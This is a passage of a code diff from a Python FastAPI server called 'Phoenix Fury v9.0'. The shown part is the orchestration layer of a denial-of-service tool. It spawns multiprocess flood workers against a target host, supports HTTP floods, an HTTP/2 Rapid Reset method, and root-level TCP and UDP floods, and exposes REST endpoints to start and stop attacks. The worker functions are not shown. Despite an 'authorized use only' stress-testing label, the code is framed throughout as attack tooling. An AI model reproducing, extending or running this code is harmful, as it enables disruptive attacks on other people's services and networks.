 
376
  except (socket.error, ssl.SSLError, ConnectionRefusedError, TimeoutError):
377
+ time.sleep(0.1)
378
+ except Exception as e:
379
+ pass
380
  finally:
381
  if sock:
382
  try:
383
  sock.close()
384
  except Exception:
385
  pass
 
 
 
 
 
 
386
 
 
387
  if local_counter > 0:
388
  with shared_counter.get_lock():
389
  shared_counter.value += local_counter
390
 
391
+ # =============================================================================
392
+ # ATTACK MANAGER
393
+ # =============================================================================
394
 
395
  class AttackManager:
396
  _instance = None
 
400
  cls._instance = super(AttackManager, cls).__new__(cls)
401
  cls._instance._initialized = False
402
  return cls._instance
403
+
404
  def __init__(self):
405
  if self._initialized:
406
  return
 
408
  self.lock = threading.Lock()
409
  self.stats_thread = None
410
  self._reset_state()
411
+
412
  def _reset_state(self):
413
  self.attack_active = False
414
  self.attack_type = "None"
 
422
  self.stop_event = multiprocessing.Event()
423
  self.counter = multiprocessing.Value(c_ulonglong, 0)
424
  self.current_rate = 0.0
425
+ self.rate_history = deque(maxlen=10) # Keep last 10 measurements
426
+
427
  def is_active(self):
428
  with self.lock:
429
  return self.attack_active
430
+
431
  def _stats_calculator(self):
432
+ """Accurate real-time statistics calculator."""
 
433
  last_count = 0
434
+ last_time = time.time()
435
 
436
  while not self.stop_event.is_set():
437
+ time.sleep(STATS_UPDATE_INTERVAL)
438
+
439
+ current_time = time.time()
440
  current_count = self.counter.value
 
441
 
442
+ time_delta = current_time - last_time
443
+ count_delta = current_count - last_count
444
+
445
+ if time_delta > 0:
446
+ instant_rate = count_delta / time_delta
447
+ self.rate_history.append(instant_rate)
448
+ self.current_rate = sum(self.rate_history) / len(self.rate_history)
449
 
 
450
  last_count = current_count
451
+ last_time = current_time
452
 
453
  self.current_rate = 0.0
454
+
455
  def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
456
  with self.lock:
457
  if self.attack_active:
458
  raise HTTPException(status_code=409, detail="An attack is already in progress.")
459
 
460
+ self._reset_state()
461
+
462
  try:
463
  self.target_host = config.target
464
  self.target_ip = resolve_target(self.target_host)
 
466
  raise PermissionError("Layer 4 attacks require root privileges.")
467
  except (ValueError, PermissionError) as e:
468
  raise HTTPException(status_code=400, detail=str(e))
469
+
470
  self.attack_active = True
471
  self.port = config.port
472
  self.duration = config.duration
 
477
  worker_target, worker_args, attack_name = (None, (), "Unknown")
478
 
479
  if family == 'l7' and isinstance(config, L7Config):
480
+ if config.method == 'http2-rapid-reset':
481
+ if not H2_AVAILABLE:
482
+ raise HTTPException(status_code=400, detail="HTTP/2 library not installed. Run: pip install h2")
483
+ attack_name = "L7-HTTP2-RAPID-RESET"
484
+ worker_target = http2_rapid_reset_worker
485
+ worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path)
486
+ else:
487
+ attack_name = f"L7-{config.method.upper()}"
488
+ worker_target = l7_worker_process
489
+ worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, REQUESTS_PER_CONNECTION)
490
 
491
  elif family == 'l4':
492
  worker_target = l4_worker_process
 
499
 
500
  self.attack_type = attack_name
501
 
502
+ print("\n" + "=" * 80)
503
+ print(f"🔥 PHOENIX FURY v9.0 - ATTACK INITIATED 🔥")
504
  print(f" Type: {self.attack_type}")
505
  print(f" Target: {self.target_host}:{self.port} ({self.target_ip})")
506
  print(f" Duration: {self.duration}s")
507
+ print(f" Processes: {self.process_count}")
508
+ print("=" * 80 + "\n")
509
+
510
  for _ in range(self.process_count):
511
  p = multiprocessing.Process(target=worker_target, args=worker_args, daemon=True)
512
  self.processes.append(p)
 
514
 
515
  self.stats_thread = threading.Thread(target=self._stats_calculator, daemon=True)
516
  self.stats_thread.start()
517
+
518
  def stop(self):
519
  with self.lock:
520
  if not self.attack_active:
521
  return
522
 
523
+ print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
524
  self.stop_event.set()
525
 
526
  for p in self.processes:
 
531
  p.terminate()
532
 
533
  if self.stats_thread:
534
+ self.stats_thread.join(timeout=2)
535
 
536
  elapsed = time.time() - self.start_time
537
  total_sent = self.counter.value
538
  avg_rate = total_sent / elapsed if elapsed > 0 else 0
539
 
540
+ print("\n" + "=" * 80)
541
  print("✅ ATTACK TERMINATED")
542
+ print(f" Total Requests: {total_sent:,}")
543
  print(f" Elapsed Time: {elapsed:.2f}s")
544
+ print(f" Average Rate: {avg_rate:,.2f} RPS/PPS")
545
+ print("=" * 80 + "\n")
546
 
547
  self._reset_state()
548
+
549
  def get_status(self) -> StatusResponse:
550
  with self.lock:
551
+ elapsed = time.time() - self.start_time if self.attack_active else 0
552
+ total = self.counter.value
553
+ avg_rate = total / elapsed if elapsed > 0 else 0
554
+
555
  return StatusResponse(
556
  attack_active=self.attack_active,
557
  attack_type=self.attack_type,
 
559
  target_ip=self.target_ip,
560
  port=self.port,
561
  duration=self.duration,
562
+ elapsed_time=round(elapsed, 2),
563
  processes=self.process_count,
564
+ total_sent=total,
565
  current_rate_pps_rps=round(self.current_rate, 2),
566
+ average_rate=round(avg_rate, 2),
567
+ cpu_usage_percent=psutil.cpu_percent(interval=0.1),
568
  memory_usage_percent=psutil.virtual_memory().percent
569
  )
570
 
571
+ # =============================================================================
572
+ # FASTAPI APPLICATION
573
+ # =============================================================================
574
 
575
  app = FastAPI(
576
+ title="🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework",
577
+ description="High-performance stress testing with HTTP/2 Rapid Reset. ⚠️ AUTHORIZED USE ONLY",
578
+ version="9.0.0"
579
  )
580
 
581
  MANAGER = AttackManager()
582
 
583
  def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
584
+ """Handle attack lifecycle."""
585
+ MANAGER.start(config, family)
586
+
587
+ def delayed_stop():
588
+ time.sleep(config.duration)
589
+ MANAGER.stop()
590
+
591
+ stop_thread = threading.Thread(target=delayed_stop, daemon=True)
592
+ stop_thread.start()
 
 
 
 
 
 
 
593
 
594
  @app.on_event("startup")
595
  async def on_startup():
596
  print("=" * 80)
597
+ print(f"🔥 Phoenix Fury v9.0 API is ONLINE")
598
+ print(f" System: {CPU_COUNT} CPU Cores, {TOTAL_RAM_GB:.1f} GB RAM")
599
+ print(f" Config: {MAX_PROCESSES} Workers, {REQUESTS_PER_CONNECTION} L7 reqs/conn")
600
+ print(f" HTTP/2: {'✅ ENABLED' if H2_AVAILABLE else '❌ DISABLED (pip install h2)'}")
601
+ print(f" Root Access: {'YES (L4 Available)' if check_root() else '⚠️ NO (L4 Unavailable)'}")
 
 
602
  print("=" * 80)
603
 
604
  @app.post("/attack/layer7", status_code=202)
605
  def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
606
  run_attack_lifecycle(config, 'l7', background_tasks)
607
+ return {"status": "accepted", "message": f"L7 {config.method.upper()} attack initiated on {config.target}:{config.port}"}
608
 
609
  @app.post("/attack/layer4/tcp", status_code=202)
610
  def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
611
  run_attack_lifecycle(config, 'l4', background_tasks)
612
+ return {"status": "accepted", "message": f"L4 TCP {config.method.upper()} attack initiated"}
613
 
614
  @app.post("/attack/layer4/udp", status_code=202)
615
  def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
616
  run_attack_lifecycle(config, 'l4', background_tasks)
617
+ return {"status": "accepted", "message": f"L4 UDP attack initiated"}
618
 
619
  @app.post("/attack/stop")
620
  def api_stop_attack():
621
  if not MANAGER.is_active():
622
  return {"status": "info", "message": "No attack is currently running."}
623
  MANAGER.stop()
624
+ return {"status": "success", "message": "Attack stopped successfully."}
625
 
626
  @app.get("/status", response_model=StatusResponse)
627
  def get_status():
 
630
  @app.get("/")
631
  def root():
632
  return {
633
+ "message": "🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework",
634
  "docs_url": "/docs",
635
  "status_url": "/status",
636
+ "features": {
637
+ "http2_rapid_reset": H2_AVAILABLE,
638
+ "layer4_attacks": check_root(),
639
+ "auto_optimized": True
640
+ },
641
  "system_info": {
642
  "cpu_cores": CPU_COUNT,
643
+ "worker_processes": MAX_PROCESSES,
644
+ "ram_gb": round(TOTAL_RAM_GB, 2)
645
  }
646
  }
647
 
648
+ # =============================================================================
649
+ # MAIN
650
+ # =============================================================================
651
 
652
  if __name__ == "__main__":
653
+ multiprocessing.freeze_support()
654
+ uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="info")